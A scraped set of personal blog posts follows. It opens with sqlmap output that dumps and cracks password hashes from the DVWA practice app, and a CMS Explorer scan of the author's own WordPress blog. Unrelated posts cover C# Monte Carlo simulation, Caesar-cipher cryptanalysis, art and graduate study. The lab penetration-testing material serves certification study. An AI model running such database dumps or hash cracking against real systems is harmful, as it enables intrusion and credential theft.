do you want to use common password suffixes? (slow!) [y/N] y
[21:54:32] [INFO] starting dictionary attack (md5_generic_passwd)
[21:54:32] [INFO] found: 'abc123' for user: 'gordonb'
[21:54:32] [INFO] found: 'charley' for user: '1337'
[21:54:33] [INFO] found: 'letmein' for user: 'pablo'
[21:54:33] [INFO] found: 'password' for user: 'admin'
Database: dvwa
Table: users
[5 entries]
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

[21:55:10] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/192.168.0.103/dump/dvwa/users.csv'
[21:55:10] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:55:10

root@bt:/pentest/database/sqlmap#

Results

And as you can see when you use the accompanying dictionary in Back Track you sometimes break the password hash as an added bonus.

+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

CMS Explorer In Back Track

Eric — Fri, 12 Aug 2011 04:00:39 +0000

So I am studying for the OSCP (Offensive Security Certified Professional) certification and I’ve been playing around with some of the more obscure items in the Back Track Linux Distribution. One such item is CMS Explorer that enumerates through content management systems plug-ins and themes to look for vulnerabilities in the Drupal, WordPress, Joomla!, Mambo CMS.

The syntax is fairly straightforward and the results are fairly accurate. The cool thing is that it can tie in to the OSVDB database but you need to do two things to make it work properly.

Sign up for a OSVDB api account.
Navigate to the /pentest/enumeration/web/cms-explorer directory and create a blank file called osvdb.key
In that file place your api key.
Run it! ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

Here are the results for my blog. As you can see this site is fairly light and all the vulnerabilities according to OSVDB are “unknown impact and attack vectors ” or listed as “flagged as being a Myth/Fake”.

Only downside for this enumeration is that it is fairly slow and can take up to an hour or more to run.

root@bt:/pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

*******************************************************
Beginning run against http://eric.ness.net/...
Testing themes from wp_themes.txt...
Theme Installed:		wp-content/themes/monochrome/
Testing plugins...
Plugin Installed:		wp-content/plugins/akismet/
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
Plugin Installed:		wp-content/plugins/codesnippet-20/
Plugin Installed:		wp-content/plugins/contact-form-7/
Plugin Installed:		wp-content/plugins/sexybookmarks/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
Plugin Installed:		wp-content/plugins/tweet-blender/
Plugin Installed:		wp-content/plugins/wp-cache/
Plugin Installed:		wp-content/plugins/wp-pagenavi/

*******************************************************
Summary:
Theme Installed:		wp-content/themes/monochrome/
	URL			http://eric.ness.net/wp-content/themes/monochrome/
	SVN			http://themes.svn.wordpress.org/wp-content/themes/monochrome/
Plugin Installed:		wp-content/plugins/akismet/
	URL			http://eric.ness.net/wp-content/plugins/akismet/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/akismet/trunk/
	http://osvdb.org/37290	Akismet for WordPress akismet.php Unspecified Issue
	http://osvdb.org/62683	WordPress wp-content/plugins/akismet/akismet.php add_action() Function Path Disclosure
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
	URL			http://eric.ness.net/wp-content/plugins/all-in-one-seo-pack/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/all-in-one-seo-pack/trunk/
Plugin Installed:		wp-content/plugins/codesnippet-20/
	URL			http://eric.ness.net/wp-content/plugins/codesnippet-20/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/codesnippet-20/trunk/
Plugin Installed:		wp-content/plugins/contact-form-7/
	URL			http://eric.ness.net/wp-content/plugins/contact-form-7/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/contact-form-7/trunk/
Plugin Installed:		wp-content/plugins/sexybookmarks/
	URL			http://eric.ness.net/wp-content/plugins/sexybookmarks/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/sexybookmarks/trunk/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
	URL			http://eric.ness.net/wp-content/plugins/syntaxhighlighter/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/syntaxhighlighter/trunk/
Plugin Installed:		wp-content/plugins/tweet-blender/
	URL			http://eric.ness.net/wp-content/plugins/tweet-blender/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/tweet-blender/trunk/
Plugin Installed:		wp-content/plugins/wp-cache/
	URL			http://eric.ness.net/wp-content/plugins/wp-cache/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-cache/trunk/
	http://osvdb.org/56762	WP Super Cache for WordPress wp-cache-phase1.php plugin Parameter Remote File Inclusion
Plugin Installed:		wp-content/plugins/wp-pagenavi/
	URL			http://eric.ness.net/wp-content/plugins/wp-pagenavi/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-pagenavi/trunk/

Monte Carlo Simulations in C#

Eric — Mon, 23 May 2011 20:04:58 +0000

Let me say I am a huge fan of Monte Carlo Simulations. For those of you who are not familiar with Monte Carlo Simulations – Monte Carlo Simulations use random numbers and a model to simulate an outcome or event but the real strength in Monte Carlo Simulations is that you repeat the simulation hundreds if not thousands of times. After running the simulation, the results as a whole give you some great insight in to possible outcomes you can expect. The results are often more robust and accurate than other methods like regressions.

For this tutorial, I am going to replicate the core functionality of this report from Lumenaut. The model itself has a couple of fixed costs: Labor, Price per Widget and Rent. The model also has two variable items: Variable Cost per Widget and Number of Widgets Sold. So just like in real life if I want to figure out how much profit I am going to make I need to subtract my total costs from my revenue.

But, where we see the strength of a Monte Carlo Simulation is that it says let’s take a look at this model again but, maybe I can buy my widgets a little cheaper and maybe I can sell a couple more. In addition, every month is a little different some you sell a couple more some a couple of less.

To simulate this we need to use some random numbers but a normal random number generator will not work because that will give us a uniform distribution. Some random number for a Monte Carlo Simulation needs to have very specific distributions: normal, log, triangular, gamma, or something else to better simulate real life. The React.NET library gives us a very easy simple way to simulate all of these very easily.

So for Lumenaut’s model we need two normal distribution random number generators and the profit model outlined in the excel table and following graph. Please note that the Cost Per Widget is 5 with a standard deviation of 0.5 and the Number of Widgets Sold is 2,000 with a standard deviation of 200.

Here is the code I use.

using System.Collections.Generic;
using React.Distribution;

namespace MonteCarloSimulation.Models
{
    /// 
    /// Monte Carlo Simulation
    /// 
    public class MonteCarloModel
    {
        private const double FixedCost = 170000;
        private const double FixedSellingPrice = 100;
        private readonly double _costPerWidget;
        private readonly double _costPerWidgetSd;
        private readonly double _numOfSimulations;
        private readonly double _numOfWidgetSd;
        private readonly double _numOfWidgets;
        public int NumberOfSimulations = 10000;
        public List RESULTS = new List();

        /// 
        /// Initializes a new instance of the  class.
        /// 
        /// The cost per widget.
        /// The cost per widget sd.
        /// The num of widgets.
        /// The num of widget sd.
        /// The num of simulations.
        public MonteCarloModel(double costPerWidget,
                               double costPerWidgetSd,
                               double numOfWidgets,
                               double numOfWidgetSd,
                               double numOfSimulations)
        {
            _costPerWidget = costPerWidget;
            _costPerWidgetSd = costPerWidgetSd;
            _numOfWidgets = numOfWidgets;
            _numOfWidgetSd = numOfWidgetSd;
            _numOfSimulations = numOfSimulations;
            Run();
        }

        /// 
        /// Runs the Monte Carlo Simulation
        /// 
        private void Run()
        {
            // Set up our Normal distributions with the mean, and the Standard Deviation
            var costPerWidgetDist = new Normal(_costPerWidget, _costPerWidgetSd);
            var numberOfWidgetDist = new Normal(_numOfWidgets, _numOfWidgetSd);

            for (int i = 0; i < _numOfSimulations; i++)
            {
                // Get the next ranom number for our model
                double costPerWidget = costPerWidgetDist.NextDouble();
                double numberOfWidgetsSold = numberOfWidgetDist.NextDouble();

                // Calculate the revenue
                double revenue = numberOfWidgetsSold*FixedSellingPrice;

                // Calculate the costs
                double cost = (costPerWidget*numberOfWidgetsSold + FixedCost);

                // Add result to our results list
                RESULTS.Add(revenue - cost);
            }
        }
    }
}

Here is a little display I put together and as you can see, the results are very similar; they will not be exactly the same as there is a random component to all of this.

Download the code!

Note:
There are a number of things to note here:

This is nowhere near production code (read as good code) – it is simply for you to look at and get you going down the road to Monte Carlo Simulations. I think I spent all of 30 minutes putting it together so don’t expect anything nice and neat. :-)
I had to remove the Dundas graphing library, as I cannot distribute it per my license. But, it should work just fine with the Microsoft graphing library.
Enjoy!

Cryptanalysis Using n-Gram Probabilities

Eric — Sat, 01 May 2010 09:35:31 +0000

One of my favorite programmers is Peter Norvig who is currently Director of Research at Google. This summer I picked up a book called Beautiful Data in which Norvig contributed a chapter called “Natural Language Corpus Data” in which he outlined a number of very cool things you can do with n-grams in the google corpus. It covers some of the things you’d imagine that it would cover: spelling correction, word segmentation, etc. The one item covered that I had never considered was in the area of cryptanalysis.

The cool thing is that Google will give you their corpus to download. The only problem is that it contains “1,024,908,267,229 words of running text” and is 24 GB compressed in size. This is a bit impractical to run on your dev box. Enter Microsoft – the Microsoft Web N-gram Service just went Beta and is now available to Professors and Students so I immediately signed up and I have to say that it pretty cool!

So I wanted to try out the new service using one of Norvig’s examples in his book – specifically using n-gram probabilities and character shifting. This is a very simple example and fairly basic type of encryption where the if the user types an ‘a’ it gets shifted to ‘n’ or whatever. So you simply run through all 26 possibilities and use the individual words combined probabilities to determine the answer to the encoded message.

This project has a Service Refrence connected to Microsoft’s n-Gram Service. The service requires an n-gram model and a user id which you get when you sign up (see their quickstart tutorial). So let’s take a look at some code:

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using MicrosoftNGramTest.NGramService;

namespace MicrosoftNGramTest.classes
{
    internal class Shift
    {
        #region Variables

        private readonly string _alphabet = "abcdefghijklmnopqrstuvwxyz";
        private readonly string _ngramModel = ConfigurationManager.AppSettings.Get("ngramModel");
        private readonly string _userToken = ConfigurationManager.AppSettings.Get("userToken");

        #endregion

        #region Run The Test

        /// 
        /// Runs the test
        /// 
        public void Test()
        {
            // Print title
            Console.WriteLine("Character Shift Cryptanalysis");
            Console.WriteLine("#############################");

            // Local Variables
            const string phrase = "Yvfgra, qb lbh jnag gb xabj n frperg?";
            string[] words = phrase.ToLower().Split(' ');
            var newPhrase = new string[26];
            var client = new LookupServiceClient();
            var result = new Dictionary();

            try
            {
                // Loop the word variations
                foreach (string s in words)
                {
                    char[] currentWord = s.ToCharArray();

                    foreach (char c in currentWord)
                    {
                        for (int i = 0; i < 26; i++)
                        {
                            newPhrase[i] += CharShift(c, i);
                        }
                    }

                    for (int i = 0; i < newPhrase.Count(); i++)
                    {
                        newPhrase[i] += " ";
                    }
                }

                // Print phrases with probabilities
                foreach (string s in newPhrase)
                {
                    string[] newWords = s.Split(' ');
                    double prob = 0;
                    foreach (string word in newWords)
                    {
                        prob += client.GetProbability(_userToken, _ngramModel, word);
                    }
                    Console.WriteLine(s + " " + Convert.ToInt32(prob));
                    result.Add(s, Convert.ToInt32(prob));
                }

                // Print answer
                Console.WriteLine();
                Console.WriteLine("The answer is:");
                KeyValuePair q = (from t in result
                                               orderby t.Value descending
                                               select t).FirstOrDefault();
                Console.WriteLine(q.Key + " " + q.Value);
            }
            finally
            {
                client.Close();
            }
        }

        #endregion

        #region Shifting

        /// 
        /// Gets the alphabet array.
        /// 
        /// 
        private char[] GetAlphabetArray()
        {
            return _alphabet.ToCharArray();
        }

        /// 
        /// Gets the current char array position.
        /// 
        /// The c.
        /// 
        private int GetCurrentCharArrayPosition(char c)
        {
            int position = 0;
            int count = 0;

            foreach (char letter in GetAlphabetArray())
            {
                if (letter == c)
                {
                    position = count;
                }
                count++;
            }
            return position;
        }

        /// 
        /// Shifts the character.
        /// 
        /// The c.
        /// The increase.
        /// 
        private char CharShift(char c, int increase)
        {
            const int numOfLetters = 26;
            char[] alphabet = GetAlphabetArray();
            int currentArrayPosition = GetCurrentCharArrayPosition(c);
            char letter = c;

            if (IsCharInArray(c))
            {
                if ((currentArrayPosition + increase) < numOfLetters)
                {
                    letter = alphabet[currentArrayPosition + increase];
                }
                else
                {
                    int newPosition = (currentArrayPosition + increase) - numOfLetters;
                    letter = alphabet[newPosition];
                }
            }
            return letter;
        }

        /// 
        /// Determines whether the char is in the array.
        /// 
        /// The c.
        /// 
        /// 	true if [is char in array] [the specified c]; otherwise, false.
        /// 
        private bool IsCharInArray(char c)
        {
            bool isCharInArray = false;
            IEnumerable q = (from t in GetAlphabetArray()
                                   where t == c
                                   select t);
            if (q.Count() > 0)
            {
                isCharInArray = true;
            }
            return isCharInArray;
        }

        #endregion
    }
}

And here is the result!

Art Post: Katie Lewis & Graffiti Screen Prints

Eric — Sat, 17 Apr 2010 00:47:54 +0000

I came across Katie Lewis’s portfolio site today and I think it is amazing.

I also wanted to post some various screen print sites that I like as well:

Software Engineering Masters

Eric — Fri, 05 Mar 2010 04:54:01 +0000

So I am starting a masters in Software Engineering at the University of Maryland University College Harvard University Extension School. I ended up checking out numerous programs and it was kind of interesting some of items that became important to me.

Online: I kind of knew that I would probably need a program that is at least partly online. This is mainly due to the fact that my work often requires me to travel often for up to two weeks at a time.
Program Type: I am in kind of a weird place academically. I graduated with a Bachelors of Science in Information Technology even though I considered myself to be in the Computer Science program. I actually took all the required classes for the Comp Sci degree with the exception of all the math. This is now a bit of a detriment because I could have used about two more math classes that most masters programs require. It really leaves me at looking at Software Engineering or Business Intelligence DB programs.
Computer Science Programs: Interestingly enough there are many aspects to Computer Science that I am not interested in: namely many programs have you focus in a particular area (i.e. graphics). The only focus area that really interests me is Machine Learning and often this gets put under AI – which often is not really the same.
DC – Area: The DC area is kind of a strange place to look for schools. There are only a couple of programs that are actually convenient for me to travel to: George Washington, American, Georgetown, Howard and the University of the District of Columbia. But, truth be told I am actually not really interested in any of these schools for various reasons.

[Update] It’s been a while since I wrote this post but, I found out that Harvard actually has a great software engineering program and so I switched. There are some awesome classes, with some amazing people… and a couple that scare the crap out of me.